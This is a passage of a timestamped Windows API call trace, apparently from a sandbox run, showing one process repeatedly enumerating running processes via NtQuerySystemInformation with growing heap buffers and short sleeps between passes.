Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x71d9d0) returned 1 [0130.762] Sleep (dwMilliseconds=0x64) [0130.877] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0130.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0130.877] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x6f64b0 [0130.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.878] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x306c) returned 0x6f64b0 [0130.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.878] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x4090) returned 0x71d9d0 [0130.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.878] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x50b4) returned 0x71d9d0 [0130.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.878] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x60d8) returned 0x71d9d0 [0130.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.879] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x70fc) returned 0x71d9d0 [0130.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.879] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x8120) returned 0x71d9d0 [0130.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.879] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x9144) returned 0x71d9d0 [0130.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0x0 [0130.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8948 [0130.879] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8948) returned 1 [0130.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea4e8 [0130.879] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea4e8) returned 1 [0130.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6990 [0130.879] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0130.879] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea4e8 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea4e8) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.880] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.880] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea4e8 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea4e8) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5f10 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0130.881] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.881] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.882] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e5f10 [0130.882] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0130.882] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x71d9d0) returned 1 [0130.882] Sleep (dwMilliseconds=0x64) [0131.244] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0131.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0131.244] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x6e8078 [0131.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e8078, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6e8078, ResultLength=0x0) returned 0xc0000004 [0131.244] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e8078, Size=0x306c) returned 0x6de1b8 [0131.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0131.244] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0131.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0131.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0131.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0131.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x71d9d0 [0131.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0131.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x9144) returned 0x71d9d0 [0131.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0x0 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8938) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6d90a8 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d90a8) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e68f0 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ea8 [0131.247] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ea8) returned 1 [0131.247] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e68f0 [0131.248] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e68f0) returned 1 [0131.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d90a8 [0131.248] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d90a8) returned 1 [0131.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e68f0 [0131.248] Sleep (dwMilliseconds=0x64) [0131.402] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0131.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0131.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x6e8078 [0131.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e8078, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6e8078, ResultLength=0x0) returned 0xc0000004 [0131.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e8078, Size=0x306c) returned 0x6de1b8 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x71d9d0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0131.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x9144) returned 0x71d9d0 [0131.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0x0 [0131.404] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0131.404] Sleep (dwMilliseconds=0x64) [0131.694] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0131.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0131.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x6e8078 [0131.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6e8078, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6e8078, ResultLength=0x0) returned 0xc0000004 [0131.694] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6e8078, Size=0x306c) returned 0x6de1b8 [0131.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x71d9d0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0131.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x9144) returned 0x71d9d0 [0131.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0x0 [0131.695] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0131.696] Sleep (dwMilliseconds=0x64) [0132.019] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.019] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.021] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x6de1b8 [0132.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0132.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0132.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x75d9d0 [0132.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0xc0000004 [0132.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9d0, Size=0x9144) returned 0x75d9d0 [0132.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0x0 [0132.023] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.023] Sleep (dwMilliseconds=0x64) [0132.146] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x6de1b8 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x75d9d0 [0132.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0xc0000004 [0132.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9d0, Size=0x9144) returned 0x75d9d0 [0132.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0x0 [0132.148] RtlAllocateHeap 